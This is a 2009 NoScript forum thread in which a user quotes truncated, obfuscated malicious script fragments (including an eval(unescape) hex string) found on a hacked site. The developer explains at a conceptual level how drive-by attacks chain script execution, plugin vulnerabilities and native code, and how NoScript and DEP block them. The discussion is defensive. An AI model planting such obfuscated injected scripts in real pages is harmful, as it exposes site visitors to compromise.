Question about inline script threats...

General discussion about the NoScript extension for Firefox
Post Reply
luntrus
Senior Member
Posts: 237
Joined: Sat Mar 21, 2009 6:29 pm

Question about inline script threats...

Post by luntrus » Sun May 17, 2009 9:10 pm

Hi Giorgio Maone,

I checked on a certain site and it has been infested with three pieces of script outside of HTML :
3 suspicious inline scripts found.

Script outside of HTML

Code: Select all

 eval( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%^^0a%76%61%72%20%72%3d%64%^^6f%63%75%6d%65%6e%74%2e%..

Script outside of HTML

Code: Select all

/* 6m]lcjn8c`"gsc[#u^i]og_hn(qlcn_"oh_m][j_"!-]03001,0+0^0/,*0_0+0^0/-^0--.-,,*...


Script outside of HTML

Code: Select all

var A2F2CDC66F90D0F55E2C = -61+55;var D227380BD63BF942C7F8 = document.getElementById('c42A4999197A3...


My question is NoScript specific in handling suspicious inline scripts, outside of HTML, and even when this resides on a site I frequent and trust and has been recently hacked or infested by a bot for instance, is the user of NoScript protected under all circumstances?

luntrus
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Iron/2.0.168.0 Safari/530.1

User avatar
Giorgio Maone
Site Admin
Posts: 8771
Joined: Wed Mar 18, 2009 11:22 pm
Location: Palermo - Italy
Contact:

Re: Question about inline script threats...

Post by Giorgio Maone » Sun May 17, 2009 9:49 pm

For the attack to succeed, all the following conditions need to be met:
  1. A malicious script manages to run entirely
  2. An exploitable vulnerability exists, either in the browser or in a browser plugin
  3. The malicious script manages to leverage the vulnerability to actually execute arbitrary native malicious code
#1 is unlikely but not impossible.
Unlikely because malicious scripts served by a trusted sites as a consequence of a server takeover (such as the infamous Mass SQL Injection Attack) are usually the 1st stage of a more complex and possibly morphing script hosted on an external site in full control of the attacker. This approach offers several vantages for the attacker, because it does not suffer of any code size limitations (SQL injections are usually limited by the size of the injected DB field) and allows easy logging and modifications of the 2nd stage code. On the other hand, NoScript users are safe because the 3rd party 2nd stage script won't run.
Not impossible, especially in a targeted (non massive) attack, because the attacker may have discovered a vulnerable blob field and might prefer its JavaScript to be self-contained, trading flexibility for reduced traceability.

#2 is more complex to analyze, but even more unlikely to happen with NoScript.
If the attacker wants his attack to be cross-browser, the easiest targets are browser plugins, e.g. Flash, Java or Acrobat, where we've got tons of vulnerabilities discovered every month and working in all the supported browsers.
Therefore, if you run NoScript you're reasonably safe even if stage #1 is passed, because the attacker cannot inject plugin content using SQL injection.
However, again, exceptions are possible in a targeted attack, by exploiting either a Firefox 0day or a more severe (and very unlikely) full server takeover allowing the attacker to upload plugin content. But even in the latter case, you're still protected by NoScript if you enabled NoScript Options|Plugins|Apply these restrictions to trusted sites as well.

#3 is the most unlikely, almost impossible condition to be met.
Assuming that you're using a modern browser on a modern system providing memory protection (and specifically DEP, enabled by default in Firefox 3), placing arbitrary native code in memory to be launched by the vulnerability exploitation is quite difficult, and requires to be done by a subsystem which bypasses the memory protection, i.e. plugins such as Java, Flash or Silverlight.
Therefore, unless the site is so much compromised to host both the full JavaScript code and the malicious plugin content needed to fill an unprotected memory region with the native part of the attack, you're safe just by using NoScript in its default configuration. And even if the site is fully compromised, if you enabled NoScript Options|Plugins|Apply these restrictions to trusted sites as well you're still safe as explained above.
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)

User avatar
GµårÐïåñ
Lieutenant Colonel
Posts: 3339
Joined: Fri Mar 20, 2009 5:19 am
Location: PST - USA
Contact:

Re: Question about inline script threats...

Post by GµårÐïåñ » Mon May 18, 2009 8:05 am

Giorgio, a very informative reply, thank you.
~.:[ Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k ]:.~
________________ .: [ Major Mike's ] :. ________________
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

dhouwn
Bug Buster
Posts: 968
Joined: Thu Mar 19, 2009 12:51 pm

Re: Question about inline script threats...

Post by dhouwn » Mon May 18, 2009 7:41 pm

Giorgio Maone wrote:Assuming that you're using a modern browser on a modern system providing memory protection
…and having it also enabled in the BIOS… (just thinking of my crappy Lenovo notebook where it is disabled by default and the BIOS setting is not even accessible through the UI :evil:)
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090503 Firefox/3.5b4

User avatar
GµårÐïåñ
Lieutenant Colonel
Posts: 3339
Joined: Fri Mar 20, 2009 5:19 am
Location: PST - USA
Contact:

Re: Question about inline script threats...

Post by GµårÐïåñ » Mon May 18, 2009 8:44 pm

The reason its disabled by default is generally because people don't know how to properly use it and if you happen to lose or forget your credentials, your data is pretty much toast and inaccessible and that would really screw A LOT of people. So they leave that for you to activate on your own so that if it screws anything up, they can say, YOU did it yourself, should have known what you were doing.

On Dells and Sonys they do have a UI access to it but it requires it to be enabled in the BIOS first and for you to go through alot of hoops to set it up with encryption keys and backing it up and so on and many people never get passed 10 minutes into it and get lost and cancel the process. Personally I think they need to make it more user friendly, I agree with you on that, but some things are just not friendly and making it so will lose its value as a security tool.

So its a matter of compromise I guess. Just saying...
~.:[ Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k ]:.~
________________ .: [ Major Mike's ] :. ________________
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

dhouwn
Bug Buster
Posts: 968
Joined: Thu Mar 19, 2009 12:51 pm

Re: Question about inline script threats...

Post by dhouwn » Tue May 19, 2009 8:48 am

GµårÐïåñ wrote:The reason its disabled by default is generally because people don't know how to properly use it and if you happen to lose or forget your credentials, your data is pretty much toast and inaccessible and that would really screw A LOT of people.
What are you talking about? I was referring to hardware DEP through the NX/XD bit. In my case hardware DEP was disabled by the BIOS but software DEP was disabled as well (probably because Windows detected that my CPU supports hardware DEP).

GµårÐïåñ wrote:On Dells and Sonys they do have a UI access to it but it requires it to be enabled in the BIOS first and for you to go through alot of hoops to set it up with encryption keys and backing it up and so on and many people never get passed 10 minutes into it and get lost and cancel the process.
With UI access I meant that it is accessible through the BIOS menu. In my case I had to manually change a CMOS setting by changing a byte at the proper memory location. I wouldn't have been able to find the correct memory address on my own.
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090503 Firefox/3.5b4

User avatar
GµårÐïåñ
Lieutenant Colonel
Posts: 3339
Joined: Fri Mar 20, 2009 5:19 am
Location: PST - USA
Contact:

Re: Question about inline script threats...

Post by GµårÐïåñ » Tue May 19, 2009 4:28 pm

Sorry it wasn't clear but check the compatibility section of the first link you posted and you will see what I was talking about. :P Fact is that it doesn't play nice always and people who don't know enough about it can get in trouble using it, so its disabled by default. By contrast, the software DEP is indeed enabled by default for core system components in any windows installation that I have seen. It is up to the person who wishes to try to enable it and despite the BIOS UI, there IS a windows based UI for it as well and several of the companies, like I mentioned, provide you their own utilities or thirdparty utilities written for it so that you can use it. Anyway I was providing perspective and wasn't trying to get into a long discussion about it since its not directly a support issue with NS.
~.:[ Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k ]:.~
________________ .: [ Major Mike's ] :. ________________
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Post Reply